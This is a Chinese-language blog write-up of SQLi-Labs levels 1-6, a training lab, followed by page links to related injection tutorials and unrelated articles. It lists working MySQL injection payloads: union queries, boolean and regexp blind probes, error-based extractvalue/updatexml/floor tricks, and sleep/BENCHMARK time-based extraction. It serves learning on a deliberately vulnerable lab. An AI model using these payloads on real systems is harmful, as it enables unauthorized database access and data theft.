年初五 财神入

第一关

联合注入

1.准备

2.加'截断

3.order by 判断查询列数

4.同上

5.联合查询判断字段位置

6.查数据库名

7.1 查表名

7.2 查列名

8.查数据

第二关

不需要单引号截断,查询代码用了整数值

其余与第一关相同

第三关

说明用了(' ')结构

换成')即可

第四关

说明用了(" ")结构

换成")即可

第五关

不管输入什么都是提示u r in....

没有回显,尝试盲注

布尔盲注

布尔盲注方式有————

left(1,2)=3 //从左侧截取1的前2位,与3的值比较

ascii(substr(1,2,3)) //从2位置开始截取字符串1的3数值长度,转换为ascii值

regexp //正则匹配目标值和a-z指定值,正确为1,错误为0

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1)

like //和regexp一样

ord() 和 mid()

(1)用left

1.测试

2.测试数据库第一位是否大于b

是否大于y

由此可见第一位在b到y之间,可以用二分法测试,不用二分法的话可以用等于号一个个试

前两位这样测,以此类推

(2)用length量数据库长度

(3)用substr和ascii

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+

测试表名第一位是不是e

第二位把substr(x,2,1)改成2即可,以此类推

获取第三个表,把limit 0,1改成limit 2,1即可,表示从2开始(顺位第3),取第1个值

(4)用regexp

猜users表的列

and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)

(5)用ord和mid

获取user表内容

and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68

获取users表中username中的第一行的第一个字符的ascii,与68进行比较

报错盲注

报错盲注类型有————

count,floor,group by

double数值超出范围

bigint溢出 xpath函数——extractvalue和updatexml

数据重复性

(1)floor函数

union select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a from information_schema.columns group by a

(2)double数值超出范围

(没能复现成功)

union select (exp(~(select*from(select user())x))),2,3

(3)bigint溢出

(也未能复现成功)

union select(!(select * from(select user())x) - ~0),2,3

(4)xpath函数

and extractvalue(1,concat(0x7e,(select @@version),0x7e))

and updatexml(1,concat(0x7e,(select@@version),0x7e),1)

(5)数据重复性

union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x

时间盲注

时间盲注类型有————

sleep()函数

BENCHMARK()函数

(1)sleep函数

错误,延时5秒

正确

and If(ascii(substr(database(),1,1))=115,1,sleep(5))

(2)BENCHMARK函数

正确

UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM(select database() as current)as tb1

当结果正确的时候,运行ENCODE('MSG','by5seconds')操作50000000次,会占用一段时间和CPU资源

第六关

对id参数进行了处理,把'换成''即可

至此已基本介绍完一般注入类型

SQLi-Labs之1~6关 - 常规注入与盲注的更多相关文章

  1. GYCTF 盲注【regexp注入+时间盲注】

    考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...

  2. SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关

    0x1普通测试方式 (1)输入and1=1和and1=2测试,返回错误,证明存在注入 (2)union select联合查询 (3)查询表名 (4)其他 payload: ,( ,( 0x2 堆叠注入 ...

  3. SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)

    开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...

  4. webgote的例子(6)SQL注入(盲注)

    SQL Injection - Blind (WS/SOAP) 本期演示的是盲注的手法.有些网站在与数据库交互的地方进行了很好的修饰,将报错的语句进行修改,即使你找到了注入点也无法下手拿数据,这个时候 ...

  5. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  6. SQL注入:盲注

    盲注简介 所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击. 服务器没有错误回显,对于攻击者来说缺少了非常重要的"调试信息". 盲注分类 1.布尔盲注 布尔很明显Ture和F ...

  7. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

  8. ctfhub技能树—sql注入—时间盲注

    打开靶机 查看页面信息 测试时间盲注 可以看到在执行命令后会有一定时间的等待,确定为时间盲注 直接上脚本 1 #! /usr/bin/env python 2 # _*_ coding:utf-8 _ ...

  9. DVWA-sql注入(盲注)

    DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...

随机推荐

  1. elasticsearch5.4安装

    1.从官网下载ES 安装包: elasticsearch-.tar.gz 2.解压到要安装的目录 注意:一定要切换用户,不能用root用户解压,不能用root用户启动 tar -zxvf elasti ...

  2. ASP.NET ASHX 一般处理程序教程

    你不想创建一个普通ASP.NET的Web窗体页.而又要通过一个查询字符串返回一个动态的图片.XML或者非HTML网页.这是一个用C#编程语言编写的使用ASHX(一般处理程序)的简单教程. 简介 首先, ...

  3. https协议 和 Charles 进行https抓包原理

    本文转载自:https://blog.csdn.net/fox64194167/article/details/80387696 1.对称加密 其变成复杂的加密密文发送出去.收信方收到密文后,若想解读 ...

  4. break、continue与数组

    一. 1.break与continue.这两个关键字一般放在循环的花括号里面使用.break——结束整个循环.continue——结束本次循环,进入下次循环. break的案例:    int i = ...

  5. springboot 多数据源之错误 HikariPool-1 - jdbcUrl is required with driverClassName.

    数据源连接报错: 之前在1.5.7的版本的时候用该数据源配置没问题,看如下所示 springboot1.5.7配置多数据源: datasource.master.url=jdbc:mysql://lo ...

  6. Socket.io 入门 - Renyi的博客

    Socket.io Vue 中使用 NPM 安装 npm install vue-socket.io --save npm install --save socket.io-client 引用 详情 ...

  7. # Django 2.2.*问题记录

    使用pymysql作为Django连接MySQL数据库的工具时,碰到以下问题,留下记录以便后期遇到相同问题时查看. 问题1 django.core.exceptions.ImproperlyConfi ...

  8. L53-Maximum-Subarray

    题目描述 Find the contiguous subarray within an array (containing at least one number) which has the lar ...

  9. Android下的定时任务

    Android中的定时任务一般有两种实现方式,一种是使用JavaAPI里的Timer类,另一种是使用android的Alarm机制. 这两种方式在多数情况下都能实现类似的效果,但Timer有一个明显的 ...

  10. ES6学习笔记(三):教你用js面向对象思维来实现 tab栏增删改查功能

    前两篇文章主要介绍了类和对象.类的继承,如果想了解更多理论请查阅<ES6学习笔记(一):轻松搞懂面向对象编程.类和对象>.<ES6学习笔记(二):教你玩转类的继承和类的对象>, ...